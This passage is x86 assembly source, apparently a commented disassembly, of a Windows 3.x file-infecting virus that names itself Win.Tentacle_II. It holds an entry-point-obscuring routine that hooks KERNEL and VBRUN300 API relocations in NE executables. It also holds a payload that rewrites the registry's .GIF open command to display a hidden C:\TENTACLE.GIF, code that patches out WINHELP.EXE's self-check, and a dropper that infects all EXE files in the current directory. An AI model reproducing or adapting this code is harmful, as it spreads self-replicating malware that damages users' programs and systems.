EPO:
; create the string 6, "KERNEL" in tmp_buffer
mov dword ptr [bp.tmp_buffer+4],5AD5762Dh
mov dword ptr [bp.tmp_buffer+0],0F220B44Bh
add dword ptr [bp.tmp_buffer+0],602496BBh
add dword ptr [bp.tmp_buffer+4],0A576CF21h
lea dx,[bp.tmp_buffer] ; DX=pointer to 6, "KERNEL"
CALL search_module_name
JC check_VBrun
mov dx,5Bh ; ordinal of InitTask API
JMP search_API_reference
check_VBrun:
; create the string 8, "VBRUN300" in tmp_buffer
mov dword ptr [bp.tmp_buffer+4],9062F740h
mov dword ptr [bp.tmp_buffer+0],0EDC4FE68h
mov byte ptr [bp.tmp_buffer+8],"0"
add dword ptr [bp.tmp_buffer+4],9FD05715h
add dword ptr [bp.tmp_buffer+0],647D57A0h
lea dx,[bp.tmp_buffer] ; Load effective addr
CALL search_module_name
JC end_EPO
mov dx,64h ; ordinal of THUNRTMAIN API
search_API_reference:
push ax ; save AX (module index)
push dx ; save DX (API function ordinal)
xor eax,eax ; EAX=0
mov ax,word ptr [bp.rw_buffer+22h] ; segment table offset
; (relative to NE header)
add eax,[bp.new_header_offs]; EAX=segment table offset (relative
; to file start)
xor ecx,ecx ; ECX=0
mov cx,word ptr [bp.rw_buffer+16h] ; entry code segment index
dec cx ; make segment counter start at zero
shl ecx,3 ; multiply with 8 (segment table
; entry size)
add eax,ecx ; EAX=offset of entry code segment
; descriptor (from filestart)
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; go to descriptor of entry code segm
int 21h
pop dx ; restore DX (API function ordinal)
pop ax ; restore AX (module index)
JC end_EPO
mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignemt shift
push bp ; save BP (main data stack frame)
sub sp,size EPO_stack_frame ; create new data buffer on stack
mov bp,sp ; and set BP to it
push cx ; save CX (alignemt shift)
mov [bp.module_index],ax ; save module index
mov [bp.API_ordinal],dx ; save API function ordinal
mov ah,3Fh ; read entry code segment descriptor
mov cx,8 ; size of a segment descriptor
lea dx,[bp.entry_CS_offset] ; DS:DX=pointer to read buffer
int 21h
pop cx ; restore CX (alignment shift)
JC EPO_failed
xor edx,edx ; EDX=0
mov dx,[bp.entry_CS_offset] ; EDX=segment file offset (aligned)
shl edx,cl ; EDX=segment file offset (in bytes)
xor eax,eax ; EAX=0
mov ax,[bp.entry_CS_phys] ; EAX=segment physical size
add edx,eax ; EDX=file offset of segment relocs
mov [bp.entry_CS_relocs],edx; save it
push edx ; CX:DX=EDX
pop dx
pop cx
mov ax,4200h ; go to entry code segment relocations
int 21h
JC EPO_failed
mov ah,3Fh ; read number of relocation items
mov cx,2 ; read one word
lea dx,[bp.relocs_number] ; DS:DX=pointer to read buffer
int 21h
JC EPO_failed
xor ecx,ecx ; ECX=0
JMP check_if_all_relocs_done
search_API_reference_loop:
push cx ; save CX
mov ah,3Fh ; read a relocation item
mov cx,8 ; size of relocation item
lea dx,[bp.reloc_type] ; DS:DX=ptr to read buffer
int 21h
pop cx
JC EPO_failed
mov eax,dword ptr [bp.module_index] ; EAX=module index and
; API ordinal
cmp [bp.reloc_what],eax
JNE check_next_reloc
cmp word ptr [bp.reloc_type],103h ; check relocation type: must
; be 32bit far ptr and API ordinal
JE found_API_reference
check_next_reloc:
inc cx
check_if_all_relocs_done:
cmp cx,[bp.relocs_number]
JNE search_API_reference_loop
JMP EPO_failed
found_API_reference:
mov edx,[bp.entry_CS_relocs]
add edx,2
shl ecx,3 ; ECX=ECX*8 (size of a reloc item)
add edx,ecx ; EDX=offset of reloc item in file
mov eax,dword ptr [bp.module_index]; EAX=module index/API ordinal
add sp,size EPO_stack_frame ; clear buffer from stack
pop bp ; restore old stack frame pointer
clc ; clear carry flag (indicate success)
JMP end_EPO
EPO_failed:
add sp,size EPO_stack_frame ; clear buffer from stack
pop bp
stc ; set carry flag (indicate error)
end_EPO:
RET
gif_body:
include gif.inc ; the body of the gif file converted
; to DB instructions
gif_body_size EQU ($ - offset gif_body)
shell_open_command db "\SHELL\OPEN\COMMAND", 0
l_shell_open_command EQU ($ - offset shell_open_command)
; ----- PAYLOAD -------------------------------------------------------------
payload:
push es ; save ES
push bp ; save BP (main stack frame pointer)
sub sp,size payload_stack_frame ; reserve room on stack
mov bp,sp ; setup new stack frame
push ax ; save AX (what to do flag)
;* push dword ptr 1 ; HKEY_CURRENT_USER
db 66h,68h,1,0,0,0 ; fixup - byte match
mov word ptr [bp.reg_buffer2],"G."; name of the subkey: ".GIF",0
mov dword ptr [bp.reg_buffer2+2],"FI"
push ss ; push a far pointer to the name
lea ax,[bp.reg_buffer2] ; of the subkey
push ax
push ss ; push a far pointer to the buffer
lea ax,[bp.reg_buffer1] ; that will hold the return string
push ax
mov [bp.size_reg_buffer],40h; size of buffer for return string
push ss ; push a far pointer to the
lea ax,[bp.size_reg_buffer] ; dword that holds the size for the
push ax ; return string
CALL cs:RegQueryValue ; far call to the RegQueryValue API
or ax,ax ; zero means success
JZ RegQueryValue_success
pop ax ; clear stack
JMP exit_payload
RegQueryValue_success:
cmp byte ptr [bp.reg_buffer1],0; has it returned an empty string?
JE try_shell_open_command
push ss ; ES=SS
pop es
lea di,[bp.reg_buffer1] ; DI=offset retrun string
cld ; clear direction flag
xor al,al ; AL=0
mov cx,0FFFFh ; CX=maximal word
repne scasb ; search for the end of the string
dec di ; DI points now to the terminating 0
push ds ; save DS
push cs ; DS=CS
pop ds
mov si,offset shell_open_command
CALL decrypt_path ; decrypt & append it to the result
; of the RegQueryValue call
pop ds ; restore DS
CALL call_RegQueryValue
or ax,ax ; zero means success
pop ax ; restore AX (entry flag)
JZ RegQueryValue_success2
try_shell_open_command:
mov word ptr [bp.reg_buffer1],"G."
mov dword ptr [bp.reg_buffer1+2],"FI"
push ds ; save DS
push cs ; DS=CS
pop ds
push ss ; ES=SS
pop es
mov si,offset shell_open_command
lea di,[bp.reg_buffer1+4] ; Load effective addr
mov cx,l_shell_open_command ; useless, the decrypt_path procedure
; gets the string length itself.
CALL decrypt_path
pop ds ; restore DS
CALL call_RegQueryValue
or ax,ax ; zero means success
pop ax
JNZ exit_payload
RegQueryValue_success2:
; reg_buffer2 contains now the commandline of the program that is
; runned whenever the user doubleclics on a .GIF file
or ax,ax ; check the entry flag in AX
JZ restore_gif_commandline
push ss ; ES=SS
pop es
lea di,[bp.reg_buffer2] ; DI=pointer to commandline connected
; with .GIF files
push di ; save DI
xor al,al ; AL=0
mov cx,0FFFFh ; CX=maximal word
repne scasb ; search for the end of the string
dec di ; DI points now to the terminating 0
mov ax,di ; AX=end of string
pop di ; restore DI (start of string)
sub ax,di ; AX=length of string
mov cx,ax ; CX=length of string
mov al,"%" ; search the commandline for where
; the name of the gif will be on
; program start
cld ; clear direction flag
repne scasb ; search for the % sign
JNZ exit_payload ; if not found, exit payload
cmp byte ptr [di],"1" ; is it the %1, like it has to be?
JNE exit_payload ; if not, something is wrong
cmp byte ptr [di-2],'"' ; is there the quotes sign?
JNE dont_skip_quotes
dec di ; if yes, skip it
dont_skip_quotes:
dec di ; go to the start of the first
; parameter in the commandline, the
; name of the .GIF file
mov dword ptr [di+9],"G.EL" ; create there the "C:\TENTACLE.GIF"
mov byte ptr [di],"C" ; string
mov dword ptr [di+5],7E00FD39h
mov dword ptr [di+0Dh],"FI"
add dword ptr [di+5],0C5405715h
mov dword ptr [di+1],"ET\:"
push di ; save DI (offs of "C:\TENTACLE.GIF")
CALL call_RegSetValue ; set the new value.
; from now on, everytimes the user doubleclicks on a gif file, it
; will only see C:\TENTACLE.GIF ;-)
mov ah,3Ch ; create C:\TENTACLE.GIF file
mov cx,7 ; readonly,hidden,system attributes
pop dx ; DS:DX=ptr to filename to create
; ("C:\TENTACLE.GIF")
int 21h
JC exit_payload
mov bx,ax ; handle to BX
mov word ptr [bp.reg_buffer2+2],"8F" ; create GIF marker in the
mov word ptr [bp.reg_buffer2+0],"IG" ; buffer ("GIF87a")
mov word ptr [bp.reg_buffer2+4],"a7"
mov ah,40h ; write GIF marker
mov cx,6 ; size of gif marker
lea dx,[bp.reg_buffer2] ; DS:DX=pointer to write buffer
int 21h
mov ah,40h ; write gif file body
mov cx,gif_body_size ; size to write
mov dx,offset gif_body ; DS:DX=pointer to write buffer
push ds ; save DS
push cs ; DS=CS
pop ds
int 21h
pop ds ; restore DS
mov ah,3Eh ; close file
int 21h
JMP exit_payload ; payload is done
restore_gif_commandline:
push ss ; ES=SS
pop es
lea di,[bp.reg_buffer2] ; DI=pointer to commandline connected
; with .GIF files
cld ; clear direction flag
push di ; save DI
xor al,al ; AL=0
mov cx,0FFFFh ; CX=maximal word
repne scasb ; search for the end of the string
dec di ; DI points now to the terminating 0
mov ax,di ; AX=end of string
pop di ; restore DI (start of string)
sub ax,di ; AX=length of string
add di,ax
mov cx,ax ; CX=length of string
mov al," " ; search for the blank
std ; set direction flag
repne scasb ; search for the end of the filename
JNZ exit_payload ; if not found, exit
add di,2 ; go to 1st param (file to display)
cmp byte ptr [di],"C" ; is there "C:\TENTACLE.GIF"
JNE exit_payload ; if not, there's nothing to restore
cmp dword ptr [di+1],"ET\:" ; make really sure
JNE exit_payload
mov byte ptr [di],"%" ; restore the correct cmdline "%1"
mov word ptr [di+1],"1"
CALL call_RegSetValue ; set it.
exit_payload:
add sp,size payload_stack_frame ; free room on stack
pop bp ; restore BP (main stack frame ptr)
pop es ; restore ES
RET
call_RegQueryValue:
;* push dword ptr 1 ; HKEY_CURRENT_USER
db 66h,68h,1,0,0,0 ; fixup - byte match
push ss ; push a far pointer to the name
lea ax,[bp.reg_buffer1] ; of the subkey
push ax
push ss ; push a far pointer to the buffer
lea ax,[bp.reg_buffer2] ; that will hold the return string
push ax
mov [bp.size_reg_buffer],40h; size of buffer for return string
push ss ; push a far pointer to the
lea ax,[bp.size_reg_buffer] ; dword that holds the size for the
push ax ; return string
CALL cs:RegQueryValue ; far call to the RegQueryValue API
RET
call_RegSetValue:
;* push dword ptr 1 ; HKEY_CURRENT_USER
db 66h,68h,1,0,0,0 ; fixup - byte match
push ss ; push a far pointer to the name
lea ax,[bp.reg_buffer1] ; of the subkey
push ax
;* push dword ptr 0 ; REG_SZ (ASCIIZ string)
db 66h,68h,1,0,0,0 ; fixup - byte match
push ss ; push a far pointer to the buffer
lea ax,[bp.reg_buffer2] ; that will hold the return string
push ax
;* push dword ptr 0 ; size of value data
db 66h,68h,0,0,0,0 ; fixup - byte match
CALL cs:RegSetValue ; far call to the RegSetValue API
RET
; ----- PATCH WINHELP -------------------------------------------------------
patch_winhelp:
cmp word ptr [bp.rw_buffer+1Ch],2 ; number of segments
JB exit_patch_winhelp ; it's not the WINHELP.EXE
; we know, don't patch it
xor eax,eax ; EAX=0
mov ax,word ptr [bp.rw_buffer+22h] ; offset of segment table
; (relative to NE header)
add eax,[bp.new_header_offs] ; now relative to file start
;* add eax,8 ; go to 2nd segment descriptor
db 66h, 83h,0C0h, 08h ; fixup - byte match
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; set filepointer to the
int 21h ; descriptor.
mov ah,3Fh ; read the aligned segment file offset
mov cx,2 ; read one word
lea dx,[bp.tmp_buffer] ; DS:DX=pointer to read buffer
int 21h
xor eax,eax ; EAX=0
mov ax,word ptr [bp.tmp_buffer] ; EAX=aligned segment file offset
mov cl,byte ptr [bp.rw_buffer+32h] ; CL=alignment shift
shl eax,cl ; EAX=segment file offset in bytes
;* add eax,22h ; go to offset 22h in 2nd segment
db 66h,83h,0C0h,22h ; fixup - byte match
push eax ; CX:DX=EAX
pop dx
pop cx
mov ax,4200h ; set filepointer to offset 22h in
int 21h ; the second segment
JC exit_patch_winhelp
mov ah,3Fh ; read two bytes of program code
mov cx,2 ; size to read
lea dx,[bp.tmp_buffer] ; DS:DX=pointer to read buffer
int 21h
JC exit_patch_winhelp
cmp word ptr [bp.tmp_buffer],1474h ; is it a JE $+16h ?
JNE exit_patch_winhelp ; if not, it's not the WINHELP.EXE
; we know, don't patch it.
mov ax,4201h ; set filepointer back to the
; conditional jmp
mov cx,-1 ; CX:DX=-2
mov dx,-2
int 21h
mov byte ptr [bp.tmp_buffer],0EBh ; a unconditional JMP SHORT
mov ah,40h ; patch the file with the
; unconditional JMP
mov cx,1 ; write one byte
lea dx,[bp.tmp_buffer] ; DS:DX=pointer to the write buffer
int 21h
; WINHELP.EXE now has no self-check
; any more ;-)
exit_patch_winhelp:
RET
db 3 dup(0) ; maybe the author wanted the
; relocation addresses on an address
; divisible by 4 ?
RegQueryValue dd 0000FFFFh
RegSetValue dd 0000FFFFh
org_entry dd 0000FFFFh
virus_end:
; Most data of the virus is stored in a buffer on the stack. The following
; structure represents the lay-out of this stack frame:
stack_frame struc
dta db 2Bh dup(?)
tmp_buffer db 10 dup(?)
bytes_to_copy dd ?
full_filename db 24 dup(?)
full_filespec db 24 dup(?)
tmp_filename db 16 dup(?)
source_handle dw ?
dest_handle dw ?
file_date dw ?
file_time dw ?
file_size dd ?
new_header_offs dd ?
end_of_NE_hdr dd ?
alignment_unit dd ?
first_segm_offs dd ?
new_sect_descr dw 4 dup(?)
rw_buffer db 64 dup(?)
dw ?
our_reloc_offs dd ?
module_ordinal dd ?
new_entry_CS dw ?
new_entry_IP dw ?
stack_frame ends
; The data that is used in the EPO engine of the virus uses another stack
; frame that is represented in this structure:
EPO_stack_frame struc
entry_CS_offset dw ?
entry_CS_phys dw ?
entry_CS_flags dw ?
entry_CS_virt dw ?
reloc_type dw ?
reloc_offs dw ?
reloc_what dd ?
module_index dw ?
API_ordinal dw ?
entry_CS_relocs dd ?
relocs_number dw ?
EPO_stack_frame ends
; Also the payload routine uses its own stack frame:
payload_stack_frame struc
reg_buffer1 db 40h dup(?)
reg_buffer2 db 40h dup(?)
size_reg_buffer dd ?
payload_stack_frame ends
first_gen_entry:
push ds ; save DS
pusha ; save all registers
push ss ; DS=SS
pop ds
sub sp,size stack_frame ; reserve room on stack
mov bp,sp ; setup stack frame
mov ah,1Ah ; set DTA to DS:DX
lea dx,[bp.dta] ; Load effective addr
int 21h
mov si, offset exe_wildcard ; encrypt all the strings in the
call encrypt_wildcard ; virus by a simple inc/dec
mov si, offset scr_wildcard ; algorithm
call encrypt_wildcard
mov si, offset C_win
call encrypt_path
mov si, offset C_windows
call encrypt_path
mov si, offset C_win31
call encrypt_path
mov si, offset C_win311
call encrypt_path
mov si, offset C_win95
call encrypt_path
mov si, offset shell_open_command
call encrypt_path
mov bx,0FFFFh
mov cx,offset empty_string
mov dx,offset exe_wildcard
CALL infect_directory ; infect all EXE files in current dir
mov ah,9
mov dx,offset first_gen_message
int 21h
mov ax,4C00h
int 21h
first_gen_message db "Win.Tentacle_II virus dropped", 0Dh, 0Ah, "$"
end first_gen_entry